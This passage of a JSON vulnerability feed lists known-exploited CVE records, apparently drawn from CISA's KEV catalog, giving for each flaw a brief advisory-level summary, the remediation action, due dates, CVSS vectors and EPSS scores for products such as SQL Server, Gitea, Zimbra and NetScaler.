guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2015-3246","asOf":"2026-10-01T18:02:50.537Z"},"epss":{"probability":0.08503,"percentile":0.95001,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2015-3246&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2015-3246","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-08-26","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2015-3246 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2015-3246&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2015-3246, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program ADP assessment CISA-ADP","url":"https://cveawg.mitre.org/api/cve/CVE-2015-3246","type":"primary","publishedAt":"2015-08-11T14:00:00.000Z","checkedAt":"2026-10-26T16:05:57.793Z","supports":"The published CVE-2015-3246 document's ADP assessment supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T16:05:57.793Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2015-5287","cveId":"CVE-2015-5287","aliases":[],"kind":"vulnerability","title":"Red Hat Automatic Bug Reporting Tool Privilege Escalation Vulnerability","summary":"Red Hat Automatic Bug Reporting Tool (ABRT) contains a privilege escalation vulnerability that could allow local users with certain permissions to gain privileges via a symlink attack on a file with a predictable name. The impacted product(s) could be end-of-life (EoL) and/or end-of-service (EoS). Users are advised to discontinue use and/or transition to a supported version.","detail":"CISA added this entry on 2026-08-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-08-26","updatedAt":null,"regions":["Global"],"vendor":"Red Hat","product":"Automatic Bug Reporting Tool","stacks":["Red Hat Enterprise Linux","Red Hat","Automatic Bug Reporting Tool"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-08-26","dueAt":"2026-09-09","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2015-5287","asOf":"2026-08-27T03:56:39.465Z"},"epss":{"probability":0.05003,"percentile":0.92176,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2015-5287&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2015-5287","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-08-26","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2015-5287 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2015-5287&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2015-5287, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program ADP assessment CISA-ADP","url":"https://cveawg.mitre.org/api/cve/CVE-2015-5287","type":"primary","publishedAt":"2015-12-07T18:00:00.000Z","checkedAt":"2026-10-26T16:05:57.793Z","supports":"The published CVE-2015-5287 document's ADP assessment supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T16:05:57.793Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-1068","cveId":"CVE-2019-1068","aliases":[],"kind":"vulnerability","title":"Microsoft SQL Server Remote Code Execution Vulnerability","summary":"Microsoft SQL Server contains a remote code execution vulnerability that could allow an attacker to execute code in the context of the SQL Server Database Engine service account.","detail":"CISA added this entry on 2026-08-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-08-26","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"SQL Server","stacks":["Microsoft SQL Server","Microsoft","SQL Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-08-26","dueAt":"2026-08-29","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2019-1068","asOf":"2026-08-27T03:57:25.483Z"},"epss":{"probability":0.57273,"percentile":0.99067,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-1068&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-1068","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-08-26","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-1068 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-1068&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-1068, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program ADP assessment CISA-ADP","url":"https://cveawg.mitre.org/api/cve/CVE-2019-1068","type":"primary","publishedAt":"2019-07-15T18:56:20.000Z","checkedAt":"2026-10-26T16:21:01.169Z","supports":"The published CVE-2019-1068 document's ADP assessment supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T16:21:01.169Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-23758","cveId":"CVE-2021-23758","aliases":[],"kind":"vulnerability","title":"Ajax.NET Professional Deserialization of Untrusted Data Vulnerability","summary":"Ajax.NET Professional (AjaxPro) contains a deserialization of untrusted data vulnerability that could allow for remote code execution via arbitrary .NET classes. The impacted product(s) could be end-of-life (EoL) and/or end-of-service (EoS). Users are advised to discontinue use and/or transition to a supported version.","detail":"CISA added this entry on 2026-08-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-08-26","updatedAt":null,"regions":["Global"],"vendor":"Ajax.NET Professional","product":"Ajax.NET Professional","stacks":["Ajax.NET Professional"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-08-26","dueAt":"2026-09-09","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2021-23758","asOf":"2023-11-14T03:06:35.776Z"},"epss":{"probability":0.82578,"percentile":0.99662,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-23758&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-23758","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-08-26","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-23758 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-23758&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-23758, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA snyk","url":"https://cveawg.mitre.org/api/cve/CVE-2021-23758","type":"primary","publishedAt":"2021-12-03T20:05:12.932Z","checkedAt":"2026-10-26T16:21:01.169Z","supports":"The published CVE-2021-23758 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T16:21:01.169Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-0995","cveId":"CVE-2022-0995","aliases":[],"kind":"vulnerability","title":"Linux Kernel Out-of-Bounds Write Vulnerability","summary":"Linux Kernel contains an out-of-bounds memory write vulnerability which could allow a local user to gain privileged access or cause a denial of service on the system.","detail":"CISA added this entry on 2026-08-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-08-26","updatedAt":null,"regions":["Global"],"vendor":"Linux","product":"Kernel","stacks":["Linux kernel","Linux","Kernel"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-08-26","dueAt":"2026-08-29","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2022-0995","asOf":"2026-08-27T03:56:36.327Z"},"epss":{"probability":0.08859,"percentile":0.95173,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-0995&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-0995","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-08-26","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-0995 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-0995&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-0995, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program ADP assessment CISA-ADP","url":"https://cveawg.mitre.org/api/cve/CVE-2022-0995","type":"primary","publishedAt":"2022-03-25T18:03:08.000Z","checkedAt":"2026-10-26T16:21:01.169Z","supports":"The published CVE-2022-0995 document's ADP assessment supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T16:21:01.169Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8452","cveId":"CVE-2026-8452","aliases":[],"kind":"vulnerability","title":"Citrix NetScaler ADC and NetScaler Gateway Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability","summary":"Citrix NetScaler ADC and NetScaler Gateway contain an improper restriction of operations within the bounds of a memory buffer vulnerability which could lead to denial of service.","detail":"CISA added this entry on 2026-08-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-08-26","updatedAt":null,"regions":["Global"],"vendor":"Citrix","product":"NetScaler ADC and NetScaler Gateway","stacks":["Citrix NetScaler","Citrix","NetScaler ADC and NetScaler Gateway"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-08-26","dueAt":"2026-08-29","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":8.8,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:H/SC:L/SI:L/SA:L","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-8452","asOf":"2026-06-30T12:57:25.158Z"},"epss":{"probability":0.01011,"percentile":0.62932,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-8452&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-8452","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-08-26","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-8452 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-8452&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-8452, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA NetScaler","url":"https://cveawg.mitre.org/api/cve/CVE-2026-8452","type":"primary","publishedAt":"2026-06-30T12:41:07.622Z","checkedAt":"2026-10-26T16:21:01.169Z","supports":"The published CVE-2026-8452 document's CNA supplies this CVSS 4.0 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T16:21:01.169Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-60004","cveId":"CVE-2026-60004","aliases":[],"kind":"vulnerability","title":"Gitea Code Injection Vulnerability","summary":"Gitea contains a code injection vulnerability that allows an attacker with repository write access to send a malicious patch to the diffpatch API endpoint to plant an executable Git hook and run shell commands as the Gitea service account.","detail":"CISA added this entry on 2026-08-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-08-25","updatedAt":null,"regions":["Global"],"vendor":"Gitea","product":"Gitea","stacks":["Gitea"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-08-25","dueAt":"2026-08-28","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-60004","asOf":"2026-08-26T22:56:00.000Z"},"epss":{"probability":0.23988,"percentile":0.97825,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-60004&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-60004","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-08-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-60004 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-60004&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-60004, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA mitre","url":"https://cveawg.mitre.org/api/cve/CVE-2026-60004","type":"primary","publishedAt":"2026-08-26T19:45:00.000Z","checkedAt":"2026-10-26T16:21:01.169Z","supports":"The published CVE-2026-60004 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T16:21:01.169Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-21962","cveId":"CVE-2026-21962","aliases":[],"kind":"vulnerability","title":"Oracle HTTP Server and Oracle Weblogic Server Proxy Plug-in Improper Access Control Vulnerability","summary":"Oracle HTTP Server and Oracle Weblogic Server Proxy Plug-in contain an improper access control vulnerability that can result in unauthorized creation, deletion or modification access to critical data as well as unauthorized access to critical data or complete access to all Oracle HTTP Server and Oracle Weblogic Server Proxy Plug-in accessible data.","detail":"CISA added this entry on 2026-08-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-08-24","updatedAt":null,"regions":["Global"],"vendor":"Oracle","product":"HTTP Server and Oracle Weblogic Server Proxy Plug-in","stacks":["Oracle","HTTP Server and Oracle Weblogic Server Proxy Plug-in"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-08-24","dueAt":"2026-08-27","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-21962","asOf":"2026-01-20T21:56:32.665Z"},"epss":{"probability":0.73192,"percentile":0.99453,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-21962&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-21962","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-08-24","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-21962 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-21962&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-21962, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA oracle","url":"https://cveawg.mitre.org/api/cve/CVE-2026-21962","type":"primary","publishedAt":"2026-01-20T21:56:32.665Z","checkedAt":"2026-10-26T16:21:01.169Z","supports":"The published CVE-2026-21962 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T16:21:01.169Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-73570","cveId":"CVE-2026-73570","aliases":[],"kind":"vulnerability","title":"Zimbra Collaboration Suite (ZCS) OS Command Injection Vulnerability","summary":"Zimbra Collaboration Suite (ZCS) contains an OS command injection vulnerability which could allow an unauthenticated attacker to send specially crafted SMTP requests that may result in execution of arbitrary operating system commands as the Zimbra user.","detail":"CISA added this entry on 2026-08-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-08-21","updatedAt":null,"regions":["Global"],"vendor":"Synacor","product":"Zimbra Collaboration Suite (ZCS)","stacks":["Zimbra","Synacor","Zimbra Collaboration Suite (ZCS)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-08-21","dueAt":"2026-08-24","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":8.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-73570","asOf":"2026-08-13T15:19:42.195Z"},"epss":{"probability":0.71663,"percentile":0.99416,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-73570&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-73570","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-08-21","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-73570 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-73570&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-73570, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA mitre","url":"https://cveawg.mitre.org/api/cve/CVE-2026-73570","type":"primary","publishedAt":"2026-08-13T15:19:42.195Z","checkedAt":"2026-10-26T16:21:01.169Z","supports":"The published CVE-2026-73570 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T16:21:01.169Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-72529","cveId":"CVE-2026-72529","aliases":[],"kind":"vulnerability","title":"TrueConf Server Missing Authentication for Critical Function Vulnerability","summary":"TrueConf Server contains a missing authentication for critical function vulnerability which could allow a remote unauthorized attacker with network access via port 4307/TCP to execute an arbitrary script.","detail":"CISA added this entry on 2026-08-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-08-20","updatedAt":null,"regions":["Global"],"vendor":"TrueConf","product":"Server","stacks":["TrueConf","Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-08-20","dueAt":"2026-08-23","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates 